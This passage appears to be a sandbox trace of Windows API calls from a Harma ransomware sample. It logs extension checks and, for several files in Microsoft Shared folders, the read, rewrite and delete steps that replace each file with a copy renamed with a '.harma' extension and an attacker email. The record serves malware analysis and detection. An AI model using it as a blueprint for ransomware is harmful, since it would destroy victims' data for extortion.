Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.369] lstrlenW (lpString=".doc") returned 4 [0062.369] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.369] lstrlenW (lpString=".docx") returned 5 [0062.369] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.369] lstrlenW (lpString=".pdf") returned 4 [0062.369] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.370] lstrlenW (lpString=".xls") returned 4 [0062.370] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.370] lstrlenW (lpString=".xlsx") returned 5 [0062.370] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.370] lstrlenW (lpString=".ppt") returned 4 [0062.370] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString=".zip") returned 4 [0062.370] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.370] lstrlenW (lpString=".rar") returned 4 [0062.370] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.370] lstrlenW (lpString=".bz2") returned 4 [0062.370] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.370] lstrlenW (lpString=".7z") returned 3 [0062.370] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString=".dbf") returned 4 [0062.370] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString=".1cd") returned 4 [0062.370] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString=".jpg") returned 4 [0062.370] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.370] lstrlenW (lpString=".doc") returned 4 [0062.370] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.371] lstrlenW (lpString=".docx") returned 5 [0062.371] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.371] lstrlenW (lpString=".pdf") returned 4 [0062.371] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.371] lstrlenW (lpString=".xls") returned 4 [0062.371] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.371] lstrlenW (lpString=".xlsx") returned 5 [0062.371] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.371] lstrlenW (lpString=".ppt") returned 4 [0062.371] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.371] lstrlenW (lpString=".zip") returned 4 [0062.371] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.371] lstrlenW (lpString=".rar") returned 4 [0062.371] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.371] lstrlenW (lpString=".bz2") returned 4 [0062.371] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.371] lstrlenW (lpString=".7z") returned 3 [0062.371] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.371] lstrlenW (lpString=".dbf") returned 4 [0062.371] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.371] lstrlenW (lpString=".1cd") returned 4 [0062.371] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0062.371] lstrlenW (lpString=".jpg") returned 4 [0062.371] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.372] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0062.372] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0062.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.372] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=4991) returned 1 [0062.372] CloseHandle (hObject=0x1f4) returned 1 [0062.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0062.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.373] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.373] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.377] GetLastError () returned 0x0 [0062.377] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x137f, lpOverlapped=0x0) returned 1 [0062.386] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0062.387] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.387] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.387] SetEndOfFile (hFile=0x1e4) returned 1 [0062.387] CloseHandle (hObject=0x1e4) returned 1 [0062.387] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.387] SetEndOfFile (hFile=0x1f4) returned 1 [0062.388] CloseHandle (hObject=0x1f4) returned 1 [0062.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.389] lstrlenW (lpString=".doc") returned 4 [0062.389] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.389] lstrlenW (lpString=".docx") returned 5 [0062.389] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.389] lstrlenW (lpString=".pdf") returned 4 [0062.389] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.389] lstrlenW (lpString=".xls") returned 4 [0062.389] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.389] lstrlenW (lpString=".xlsx") returned 5 [0062.389] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.389] lstrlenW (lpString=".ppt") returned 4 [0062.389] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.389] lstrlenW (lpString=".zip") returned 4 [0062.389] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.389] lstrlenW (lpString=".rar") returned 4 [0062.389] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.389] lstrlenW (lpString=".bz2") returned 4 [0062.389] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.389] lstrlenW (lpString=".7z") returned 3 [0062.389] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.389] lstrlenW (lpString=".dbf") returned 4 [0062.389] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.390] lstrlenW (lpString=".1cd") returned 4 [0062.390] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.390] lstrlenW (lpString=".jpg") returned 4 [0062.390] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.390] lstrlenW (lpString=".doc") returned 4 [0062.390] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.390] lstrlenW (lpString=".docx") returned 5 [0062.390] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0062.390] lstrlenW (lpString=".pdf") returned 4 [0062.390] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString=".xls") returned 4 [0062.390] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString=".xlsx") returned 5 [0062.390] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0062.390] lstrlenW (lpString=".ppt") returned 4 [0062.390] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.390] lstrlenW (lpString=".zip") returned 4 [0062.390] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString=".rar") returned 4 [0062.390] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.390] lstrlenW (lpString=".bz2") returned 4 [0062.390] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.390] lstrlenW (lpString=".7z") returned 3 [0062.390] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.391] lstrlenW (lpString=".dbf") returned 4 [0062.391] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.391] lstrlenW (lpString=".1cd") returned 4 [0062.391] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0062.391] lstrlenW (lpString=".jpg") returned 4 [0062.391] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.391] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0062.391] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0062.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.391] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=44302) returned 1 [0062.391] CloseHandle (hObject=0x1f4) returned 1 [0062.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0062.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.392] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.392] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.392] GetLastError () returned 0x0 [0062.392] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0062.677] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0062.678] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.678] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.678] SetEndOfFile (hFile=0x1e4) returned 1 [0062.679] CloseHandle (hObject=0x1e4) returned 1 [0062.679] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.679] SetEndOfFile (hFile=0x1f4) returned 1 [0062.680] CloseHandle (hObject=0x1f4) returned 1 [0062.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.680] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString=".doc") returned 4 [0062.681] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.681] lstrlenW (lpString=".docx") returned 5 [0062.681] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.681] lstrlenW (lpString=".pdf") returned 4 [0062.681] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.681] lstrlenW (lpString=".xls") returned 4 [0062.681] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.681] lstrlenW (lpString=".xlsx") returned 5 [0062.681] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.681] lstrlenW (lpString=".ppt") returned 4 [0062.681] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString=".zip") returned 4 [0062.681] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.681] lstrlenW (lpString=".rar") returned 4 [0062.681] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.681] lstrlenW (lpString=".bz2") returned 4 [0062.681] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.681] lstrlenW (lpString=".7z") returned 3 [0062.681] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString=".dbf") returned 4 [0062.681] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString=".1cd") returned 4 [0062.681] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.681] lstrlenW (lpString=".jpg") returned 4 [0062.681] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString=".doc") returned 4 [0062.682] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString=".docx") returned 5 [0062.682] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0062.682] lstrlenW (lpString=".pdf") returned 4 [0062.682] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString=".xls") returned 4 [0062.682] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0062.682] lstrlenW (lpString=".xlsx") returned 5 [0062.682] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0062.682] lstrlenW (lpString=".ppt") returned 4 [0062.682] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString=".zip") returned 4 [0062.682] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0062.682] lstrlenW (lpString=".rar") returned 4 [0062.682] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0062.682] lstrlenW (lpString=".bz2") returned 4 [0062.682] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString=".7z") returned 3 [0062.682] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString=".dbf") returned 4 [0062.682] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString=".1cd") returned 4 [0062.682] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0062.682] lstrlenW (lpString=".jpg") returned 4 [0062.683] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0062.683] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.683] lstrlenW (lpString="FM20.CHM") returned 8 [0062.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.684] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=334427) returned 1 [0062.684] CloseHandle (hObject=0x1f4) returned 1 [0062.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0062.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0062.684] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.685] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.685] GetLastError () returned 0x0 [0062.685] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0062.696] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0062.703] ReadFile (in: hFile=0x1f4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.703] WriteFile (in: hFile=0x1e4, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0062.703] SetEndOfFile (hFile=0x1e4) returned 1 [0062.703] CloseHandle (hObject=0x1e4) returned 1 [0062.703] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.703] SetEndOfFile (hFile=0x1f4) returned 1 [0062.707] CloseHandle (hObject=0x1f4) returned 1 [0062.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 